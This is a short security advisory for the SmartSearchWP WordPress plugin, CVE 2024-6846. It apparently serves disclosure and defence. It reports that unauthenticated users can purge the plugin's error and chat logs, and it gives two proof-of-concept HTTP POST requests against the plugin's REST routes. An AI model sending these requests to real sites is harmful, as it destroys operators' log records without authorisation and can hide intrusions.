SmartSearchWP <= 2.4.4 – Unauthenticated Log Purge | CVE 2024-6846

Description

The plugin does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs

Proof of Concept

Clear Error Logs:

```
POST /wp-json/wdgpt/v1/purge-error-logs HTTP/2
Host: wps-test.ddev.site
Content-Length: 14
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://wps-test.ddev.site
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://wps-test.ddev.site/wp-admin/admin.php?page=wdgpt_logs
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"months":"2"}
```

Clear Chat Logs:

```
POST /wp-json/wdgpt/v1/purge-chat-logs HTTP/2
Host: wps-test.ddev.site
Content-Length: 14
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126"
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: en-US
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://wps-test.ddev.site
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://wps-test.ddev.site/wp-admin/admin.php?page=wdgpt_logs
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"months":"2"}
```